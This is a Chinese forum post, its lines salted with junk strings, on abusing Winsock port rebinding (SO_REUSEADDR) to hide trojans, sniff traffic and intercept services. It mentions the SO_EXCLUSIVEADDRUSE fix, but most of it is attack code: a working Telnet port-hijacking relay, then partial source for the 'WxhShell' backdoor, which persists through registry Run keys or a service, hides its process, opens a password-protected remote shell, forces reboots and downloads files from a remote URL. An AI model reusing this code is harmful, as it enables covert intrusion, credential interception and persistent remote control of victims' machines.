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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }4`YdN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sh3}0u+  
Ec/+9H6g  
  saddr.sin_family = AF_INET; k ZEy  
uH h2>Px  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -xEg"dY/  
mYRR==iDL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r~a}B.pj  
=n?@My?;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m,_oX1h  
o |.me G  
  这意味着什么?意味着可以进行如下的攻击: b|'LtL$Y  
*hgsS~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n{* [Y  
g@i 4H[k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1:V/['|*g)  
6UP3Ij  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hrxASAfg6  
iU|C<A%Hh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -/*{^[  
ViONG]F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;yoq/  
r2`?Ta  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aq**w?l  
TK1M mL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5Z0x2 jV  
F&Z>B};  
  #include N.J:Qn`(  
  #include EE{%hGb  
  #include sA j$U^Gp  
  #include    1x 8]&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :udZfA\sW  
  int main() a[#BlH  
  { tjL#?j  
  WORD wVersionRequested; wQ95tN  
  DWORD ret; yZ6X$I:C  
  WSADATA wsaData; PSvRO% &  
  BOOL val; cZi&L p  
  SOCKADDR_IN saddr; artS*fv3r  
  SOCKADDR_IN scaddr; N4FG_  N  
  int err; 'a9.JS[pj  
  SOCKET s; u(qpdG||7  
  SOCKET sc; Y*Rqgpu $  
  int caddsize; hD=D5LYAZ  
  HANDLE mt; P=g+6-1  
  DWORD tid;   g:V6B/M&  
  wVersionRequested = MAKEWORD( 2, 2 ); ;0WlvKF  
  err = WSAStartup( wVersionRequested, &wsaData ); z}|'&O*.F  
  if ( err != 0 ) { }:A kpm  
  printf("error!WSAStartup failed!\n"); #-8/|_*  
  return -1; zoXF"Nz  
  } 3?<vnpN=5d  
  saddr.sin_family = AF_INET; R``qQ;cc  
   wjs7K|PK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }\*|b@)]  
={d\zjI$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .4-S|]/d,  
  saddr.sin_port = htons(23); 4cL=f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oWT0WS  
  { GR9F^Y)K{  
  printf("error!socket failed!\n"); ^Y!`wp2vn  
  return -1; w-m2N-"= '  
  } |hAGgo/03  
  val = TRUE; 3x$#L!VuU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 x-EAu 3=V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xr-scdh2  
  { r,\(Y@I  
  printf("error!setsockopt failed!\n"); *+ayC{!  
  return -1; nfR5W~%*:  
  } v?t+%|dzA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nfU}ECun4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GQQ6 t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A1@a:P=  
-8: @xG2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7KLq-u-8  
  { $$w 1%#F =  
  ret=GetLastError(); R8]bi|e)  
  printf("error!bind failed!\n"); t `oP;  
  return -1; ]y/:#^M+  
  } x3 <Lx^;  
  listen(s,2); G#>nOB  
  while(1) s4\2lBU?  
  { -u(#V#}OV?  
  caddsize = sizeof(scaddr); HvU)GJ u b  
  //接受连接请求 yCVBG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /6fsh7 \  
  if(sc!=INVALID_SOCKET) hvwr!(|W  
  { N~_gT Jr~P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :8FH{sqR  
  if(mt==NULL) z%z$'m  
  { j  jQ=  
  printf("Thread Creat Failed!\n"); (G Y`O  
  break; /nNHI34  
  } J=Z"sU=  
  } =>Efrma  
  CloseHandle(mt); "=)`*"rr  
  } >jm9x1+C  
  closesocket(s); qIl@,8T  
  WSACleanup(); ! `o =2b=N  
  return 0; "|H0 X#  
  }   7>TG ]&  
  DWORD WINAPI ClientThread(LPVOID lpParam) NUseYU``  
  { {[eY/)6H  
  SOCKET ss = (SOCKET)lpParam; 6/ )A6Tt  
  SOCKET sc; nN: i{t4f  
  unsigned char buf[4096]; Gbhaibk O  
  SOCKADDR_IN saddr; )deuB5kz  
  long num; (uE_mEIsv  
  DWORD val; 4?cg6WJ'6  
  DWORD ret; i@6 kI C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uQ}kq7gd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !{+(oDN  
  saddr.sin_family = AF_INET; -ydT%x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u=5^xpI<D  
  saddr.sin_port = htons(23); tBt\&{=|D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Gvwel!6  
  { H'0S;A+Y6  
  printf("error!socket failed!\n"); !nVuvsbv  
  return -1; 00ho*p!E'  
  } @W8RAS~  
  val = 100; YI/vt2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ogb !YF#e  
  {  .*+ &>m7  
  ret = GetLastError(); q0o6%c:gW  
  return -1; '-et:Lv7  
  } ]#;JPO#*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;)*Drk*t,  
  { V*)gJg  
  ret = GetLastError(); 6Yu8ReuL  
  return -1; _F$?Z  
  } aO{k-44y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tO#y4<  
  { #Uo 9BM  
  printf("error!socket connect failed!\n"); <?!#QA  
  closesocket(sc); Cs<d\"+  
  closesocket(ss); $K hc?v  
  return -1; 5u8 YHv  
  } hhpH)Bi=  
  while(1) FRr<K^M  
  { +aMPwTF:3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3j6$!89'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sBh|y F,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /h;X1Htx}  
  num = recv(ss,buf,4096,0); ?6|EAKJ`lK  
  if(num>0) awUIYAgJ3  
  send(sc,buf,num,0); ]Kd:ZmJ  
  else if(num==0) 9tJiIr8i  
  break; '{EDdlX  
  num = recv(sc,buf,4096,0); )%0#XC^/X5  
  if(num>0) {Q0"uE)-.  
  send(ss,buf,num,0); dPS}\&1  
  else if(num==0) %*,'&S  
  break; eD(#zfP/+  
  } #R &F  
  closesocket(ss); d)LifsD)  
  closesocket(sc); ~FJd{$2x`  
  return 0 ; Pp?J5HW  
  } ,JR7N_"I  
Pm-@ZZ~  
Gg_i:4F  
========================================================== TB9ukLG^<<  
ie5"  
下边附上一个代码,,WXhSHELL (%".=x-  
=2< >dM#`  
========================================================== 6HyQm?c>a  
N=(rl#<  
#include "stdafx.h" 6g)21Mh#  
|<OZa;c+  
#include <stdio.h> >n#Pq{7aF  
#include <string.h> .Sm7na K  
#include <windows.h> i=Y#kL~f  
#include <winsock2.h> /.vB /{2  
#include <winsvc.h> N[Fz6,ZG _  
#include <urlmon.h> 3ILEc:<0J  
cu |{cy-  
#pragma comment (lib, "Ws2_32.lib") jGId)f!)  
#pragma comment (lib, "urlmon.lib") 6B&':N98  
I~Ziq10  
#define MAX_USER   100 // 最大客户端连接数 mN, Od?q[  
#define BUF_SOCK   200 // sock buffer ~%'M[3Rb  
#define KEY_BUFF   255 // 输入 buffer 0^4Tem@  
)g)X~]*  
#define REBOOT     0   // 重启 mIt=r_  
#define SHUTDOWN   1   // 关机 YOqBIbp~&)  
!-[e$?-  
#define DEF_PORT   5000 // 监听端口 rB-&'#3%  
~ujY+ {  
#define REG_LEN     16   // 注册表键长度 XB2[{XH,  
#define SVC_LEN     80   // NT服务名长度 ?EdF&^[3rD  
JPRl/P$  
// 从dll定义API x5s Yo\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P)4SrqW_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b:oB $E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R'He(x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GC.   
2!}5shB  
// wxhshell配置信息 |GLa `2q|  
struct WSCFG { &W*9'vSm.  
  int ws_port;         // 监听端口 7aS`S F  
  char ws_passstr[REG_LEN]; // 口令 yqZKn=1:  
  int ws_autoins;       // 安装标记, 1=yes 0=no =98@MX%P  
  char ws_regname[REG_LEN]; // 注册表键名 [+UF]m%W  
  char ws_svcname[REG_LEN]; // 服务名 bNi\+=v<Ys  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?FJU>+{">  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K.B!-<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =5isT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ngE5$}UM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qh{hpX)\D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2+50ezsId  
!A qSG-  
}; R]H/Jv\'  
pwr,rAJ}$j  
// default Wxhshell configuration z^bv)u  
struct WSCFG wscfg={DEF_PORT, *Mk5*_  
    "xuhuanlingzhe", It&$R`k  
    1, mGb,oj7l  
    "Wxhshell", g,*LP  
    "Wxhshell", @uApm~}  
            "WxhShell Service", 63 F@F t  
    "Wrsky Windows CmdShell Service", Eu2@%2}P  
    "Please Input Your Password: ", ;.+sz(:hm  
  1, I'm.+(1m,  
  "http://www.wrsky.com/wxhshell.exe", *>I4X=  
  "Wxhshell.exe" v,^2'C$o  
    }; Z$"E|nRN  
qX>mOW^gT8  
// 消息定义模块 ')zdI]@ M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X|++K;rtfE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _XvSe]`f`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5=(fuY3  
char *msg_ws_ext="\n\rExit."; Y {a#2(xn  
char *msg_ws_end="\n\rQuit."; u[k0z!p_ c  
char *msg_ws_boot="\n\rReboot..."; jInI%  
char *msg_ws_poff="\n\rShutdown..."; yz.a Z  
char *msg_ws_down="\n\rSave to "; 8R0Q-,'  
lcO;3CrJ!  
char *msg_ws_err="\n\rErr!"; k  <SFl  
char *msg_ws_ok="\n\rOK!"; 8cI<~|4_  
2[zFKK  
char ExeFile[MAX_PATH]; Xy0*1$IS]  
int nUser = 0; SHWD@WLE4  
HANDLE handles[MAX_USER]; g$+ $@~  
int OsIsNt; |1!RvW:[!  
[TRHcz n  
SERVICE_STATUS       serviceStatus; <2{g[le  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ROb2g|YXG  
W!6&T [j>  
// 函数声明 SA!P:Q?h  
int Install(void); ()%NotN;  
int Uninstall(void); ;&=c@>!xP#  
int DownloadFile(char *sURL, SOCKET wsh); @M=xdZNyJ  
int Boot(int flag); B*B}eXUph  
void HideProc(void); xO3-I@  
int GetOsVer(void); f_'#wc6  
int Wxhshell(SOCKET wsl); X!6oviT|m  
void TalkWithClient(void *cs); re[v}cB  
int CmdShell(SOCKET sock); *7cc4 wGQ  
int StartFromService(void); l<X8Ooan#{  
int StartWxhshell(LPSTR lpCmdLine); , !0-;H.Y  
x`9IQQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q.I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GE?M. '!{{  
^I!u H1G  
// 数据结构和表定义 1!/WC.0  
SERVICE_TABLE_ENTRY DispatchTable[] = x:dI:G  
{ Oc A;+}>  
{wscfg.ws_svcname, NTServiceMain}, A43 mX !g\  
{NULL, NULL} 'wA4}f  
}; M4rI]^lJ  
5=@q!8a*  
// 自我安装 3Q;XvrGA  
int Install(void) pd%h5|*n;  
{ G)cEUEf d  
  char svExeFile[MAX_PATH]; wB%N}bi!  
  HKEY key; ,.6)y1!  
  strcpy(svExeFile,ExeFile); :^bjn3b  
a]NH >d  
// 如果是win9x系统,修改注册表设为自启动 ZF@T,i9  
if(!OsIsNt) { C[c^zn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8>4@g!9E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )b\89 F  
  RegCloseKey(key); e:`d)GE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cI #! Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nI0TvB D  
  RegCloseKey(key); zfGS=@e]G  
  return 0; LKX; ^  
    } ?xX9o  
  } nNj<!}HvV  
} C] dK/~Z#r  
else { A4Sb(X|j  
Fx!NRY_  
// 如果是NT以上系统,安装为系统服务 2,T^L (]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @3g$H[}  
if (schSCManager!=0) +0DPhc  
{ @T 5dPmn  
  SC_HANDLE schService = CreateService o%j[]P@4G  
  ( /U@T#S  
  schSCManager, yUY* l@v]  
  wscfg.ws_svcname, w%'8bH!  
  wscfg.ws_svcdisp, K (px-jY  
  SERVICE_ALL_ACCESS, 4arqlz lo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FV~ENpncP  
  SERVICE_AUTO_START, x%]5Q/|Ur  
  SERVICE_ERROR_NORMAL, nGoQwKIW  
  svExeFile, M dKkj[#  
  NULL, vr2cDk{  
  NULL, x9Oo.[  
  NULL, JbR;E`8  
  NULL, XSBh+)0Ww  
  NULL F'Lav?^  
  ); =CqZ$  
  if (schService!=0) LFwRTY,G  
  { $_5a1Lq1  
  CloseServiceHandle(schService); ]:g;S,{  
  CloseServiceHandle(schSCManager); \A%s" O/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'O:QS)  
  strcat(svExeFile,wscfg.ws_svcname); W`k||U9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9$Dsm@tX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pVN) k  
  RegCloseKey(key); (U?*Z/  
  return 0; wgPkSsuBuC  
    } ps@;Z ?Q  
  } 1&2X*$]y  
  CloseServiceHandle(schSCManager); ?7|6jTIs  
} ]ucz8('  
} XLq%nVBM8\  
Ec4+wRWk85  
return 1; y/9aI/O'  
} {3H)c^Q  
rY:A LA  
// 自我卸载 =G<i6%(^g  
int Uninstall(void) 7SVq fWp  
{ q-<t'uhs[  
  HKEY key; %4#Q3YlyD  
rEfo)jod  
if(!OsIsNt) { *f ;">(`o*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |,)=-21&;  
  RegDeleteValue(key,wscfg.ws_regname); lO+6|oF0  
  RegCloseKey(key); \2U FJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |A/)b78'u  
  RegDeleteValue(key,wscfg.ws_regname); 6 {j}Z*)m  
  RegCloseKey(key); :*<UCn""  
  return 0; h8zl\  
  } [$iKx6\  
} .z6"(?~  
} z%0'v`7  
else { Bsc&#  
_VM()n;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +$SJ@IH[<  
if (schSCManager!=0) ZNN^  
{ u|eV'-R)s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zQ>|`0&8   
  if (schService!=0) r!C#PiT}I  
  { YYs/r  
  if(DeleteService(schService)!=0) {  HQ0fY  
  CloseServiceHandle(schService); 2Y-NxW^]  
  CloseServiceHandle(schSCManager); }j\_XaB  
  return 0; y} W-OLE  
  } jwQ(E  
  CloseServiceHandle(schService); ?nc:B]=pTY  
  } , b;WCWm  
  CloseServiceHandle(schSCManager); GUH-$rA  
} lXnzomU  
} N)0V6q"  
-qW[.B  
return 1; sCrOdJ6|  
} yzH[~O7  
D.;iz>_}Y  
// 从指定url下载文件 RASPOc/]   
int DownloadFile(char *sURL, SOCKET wsh) 1RM@~I$0  
{ Smc=-M}  
  HRESULT hr; c7R<5f  
char seps[]= "/"; zu52]$Vj  
char *token; H5J1j*P<d  
char *file; YQ _]Jv k  
char myURL[MAX_PATH]; W[4 V#&Z  
char myFILE[MAX_PATH]; "MX9h }7  
9Z!|oDP-  
strcpy(myURL,sURL); [!'fE #"a  
  token=strtok(myURL,seps); j8[RDiJ  
  while(token!=NULL) 4apy{W  
  { Yn+d!w<3:  
    file=token; 6-6ha7]s  
  token=strtok(NULL,seps); X:kqX[\>  
  } <>?7veN92  
|%~Zo:Q<$>  
GetCurrentDirectory(MAX_PATH,myFILE); T-)lnrs^  
strcat(myFILE, "\\"); 1Ax{Y#<  
strcat(myFILE, file); DV5K)m&G  
  send(wsh,myFILE,strlen(myFILE),0); i[V\RKH*F  
send(wsh,"...",3,0); hwj:$mR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *{fL t  
  if(hr==S_OK) q!!gn1PT(T  
return 0; DYej<T'?3  
else DGrk}   
return 1; -Ed<Kl  
V X"! a  
} _i@4R<  
X :wfmb  
// 系统电源模块 ~[ZRE @  
int Boot(int flag) 3<A$lG  
{ qC4Q+"'  
  HANDLE hToken; `-)Hot)  
  TOKEN_PRIVILEGES tkp; 1n-+IR"  
FofeQ  
  if(OsIsNt) { H:5- S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d,+a}eTP'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e4mAKB s!  
    tkp.PrivilegeCount = 1; /OtLIM+7~{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '5; /V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  U rL|r.  
if(flag==REBOOT) { LZ-&qh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AdGDs+at,  
  return 0; e,8[fp-7  
} 3 z~d7J  
else { 2R=Fc@MXs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) < ?{ic2j#  
  return 0; t;/s^-}  
} b-Xc6f  
  } &|Cd1z#?  
  else { RTQtXv6mD  
if(flag==REBOOT) { -F~"W@9r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {"WfA  
  return 0; hRaX!QcG3  
} D\0q lCAs  
else { zbgH}6b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ({!S!k  
  return 0; 1G`zwfmh~  
} }[mLtv%&  
} b2Oj 1dP1  
Z(wj5;[G  
return 1; HF;$Wf+=J  
} MfG8=H2#|  
PW QRy  
// win9x进程隐藏模块 ["N_t:9I  
void HideProc(void) kR/Etm5_  
{ o8c5~fG1  
 eo&^~OVT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q .s'z}  
  if ( hKernel != NULL ) k^ Qd%;bdF  
  { '4e, e|r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Boj#r ,x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >hv8zHOO:  
    FreeLibrary(hKernel); * &O4b3R  
  } <s wfYT!N  
@O9wit.  
return; Qr9@e Q1Pp  
} q5#6PYIq  
,*m{Q  
// 获取操作系统版本 }CGA)yK~3  
int GetOsVer(void) PfjD!=yS=h  
{ H84Zg/ ^  
  OSVERSIONINFO winfo; _X)`S"EsJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^`+Kjhht  
  GetVersionEx(&winfo); ?X^.2+]*&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S(#v<C,hd  
  return 1; ]Il}ymkIZ  
  else 8/"R&yAh  
  return 0; WbJ  
} JJ4w]Dd4  
7!PU}[:  
// 客户端句柄模块 +. tcEbFL  
int Wxhshell(SOCKET wsl) oZ\zi> Y,  
{ ]Wg&r Y0  
  SOCKET wsh; z*e`2n#\  
  struct sockaddr_in client; ,{Ga7rH*   
  DWORD myID; vWVQ8S.  
M~l\rg8  
  while(nUser<MAX_USER) 0WQd#l  
{ 7 0Wy]8<P  
  int nSize=sizeof(client); ?%ei+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y. KJP ?  
  if(wsh==INVALID_SOCKET) return 1; h pKrP  
<V1y^EW0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yF@72tK  
if(handles[nUser]==0) %(A@=0r#  
  closesocket(wsh); Ti>2N  
else Y$0K}`{  
  nUser++; [vn"r^P  
  } WXFC e@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3eN(Sw@p  
<RCeY(1  
  return 0; AsO)BeUD  
} t*wV<b  
n'9&q]GN|  
// 关闭 socket M,sZ8eeq  
void CloseIt(SOCKET wsh) \2[sUY<W  
{ Vo(>K34  
closesocket(wsh); (nAg ~i  
nUser--; >A>_UT_"  
ExitThread(0); ODCv^4}9  
} lS |:4U.  
Z+agS8e(  
// 客户端请求句柄 icN#8\E  
void TalkWithClient(void *cs) NszqI  
{ S9{&.[O  
2[I[I*"_d  
  SOCKET wsh=(SOCKET)cs; 4$ ^rzAi5  
  char pwd[SVC_LEN]; :RDQP  
  char cmd[KEY_BUFF]; d;v<rw  
char chr[1]; i?n#ge  
int i,j; <(_${zR  
Gdv{SCV  
  while (nUser < MAX_USER) { QRHM#v S  
cF}9ldc  
if(wscfg.ws_passstr) { T)mh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |vY|jaV}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :u|F>e  
  //ZeroMemory(pwd,KEY_BUFF); q8H9au&/  
      i=0; hx hs>eY  
  while(i<SVC_LEN) { ,~>u<Wc!S  
&uXu$)IZ  
  // 设置超时 N4w&g-  
  fd_set FdRead; UQO?hZ!y/.  
  struct timeval TimeOut; +?^lnoX  
  FD_ZERO(&FdRead); 6. 6x$y3v  
  FD_SET(wsh,&FdRead); yX1OJg[s,  
  TimeOut.tv_sec=8; <4Ik]Uz^  
  TimeOut.tv_usec=0; u"-."_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3Y=uBl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )TOKHN  
ALt^@|!d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uO4R5F|tL  
  pwd=chr[0]; Y0g6zHk7  
  if(chr[0]==0xd || chr[0]==0xa) { zv~b-Tp  
  pwd=0; xPMX\aI|l  
  break; <5npVm  
  } T#ehJq 5  
  i++; ZG)6{WS  
    } ~QU\kZ7Z  
LsaRw-4.c  
  // 如果是非法用户,关闭 socket }0 =gP?.kE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vg\fBHzn  
} oB%j3aAH  
M7c53fz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `g'z6~c7n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Eu`1f?  
 EHda  
while(1) { ]]/p.#oD,  
N[wyi&m4  
  ZeroMemory(cmd,KEY_BUFF); tx]!|x" F  
M [6WcH0/T  
      // 自动支持客户端 telnet标准   ]?V2L`/  
  j=0; PjkjUP  
  while(j<KEY_BUFF) { !uN_<!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FmhN*ZXr #  
  cmd[j]=chr[0]; z6'l" D'h  
  if(chr[0]==0xa || chr[0]==0xd) { :PP!v!vk  
  cmd[j]=0; DHh30b$c  
  break; ;k8U5=6a  
  } X@Yl<9|i  
  j++; lQ|i Ws  
    } \<x{U3q5  
{%QWv%|  
  // 下载文件 .2/W.z2  
  if(strstr(cmd,"http://")) { 2qPQ3-'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p/Ri|FD6  
  if(DownloadFile(cmd,wsh)) M][Zu[\*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GL3olKnL  
  else gF&HJF 0x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ju(QSZ|;  
  } `:5W1D(  
  else { HfA@tZ5q|U  
<%=@Ue  
    switch(cmd[0]) { zN>tSdNkI-  
  H)NT2@%{P  
  // 帮助 xB,(!0{`  
  case '?': { $<d3g :  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WGI4DzKa  
    break; CxJH)H$  
  } mH7Mch| m  
  // 安装 h;t5v6["  
  case 'i': { Kr74|W=  
    if(Install()) rB.LG'GG]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |=#uzp7*  
    else eG%Q 3h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e*pYlm  
    break; RhI>Ak;-  
    } ){"-J&@?  
  // 卸载 |"k+j_/+  
  case 'r': { 8&++S> <  
    if(Uninstall()) we2D!Ywr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9pq-"?vHY0  
    else SAN/ fnM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k>!A~gfP~  
    break; A IsXu"  
    } (zhi/>suG  
  // 显示 wxhshell 所在路径 u;=a=>05IR  
  case 'p': { _A=Pr _kN  
    char svExeFile[MAX_PATH]; |Whkq/Zg  
    strcpy(svExeFile,"\n\r"); !T1)tGrH  
      strcat(svExeFile,ExeFile); !z?;L_Lb  
        send(wsh,svExeFile,strlen(svExeFile),0); =l1O9/\9  
    break; O"f|gc)GLz  
    } _2nNCu (  
  // 重启 mY!&*nYn|  
  case 'b': { ,B$m8wlI|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8? &!@3n  
    if(Boot(REBOOT)) h}f l:J1C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h0Ilxa   
    else { PVX23y;  
    closesocket(wsh); dS~#Lzm  
    ExitThread(0); o;7_*=i  
    } $D~vuA7  
    break; uDsof?z  
    } lwp(Pq  
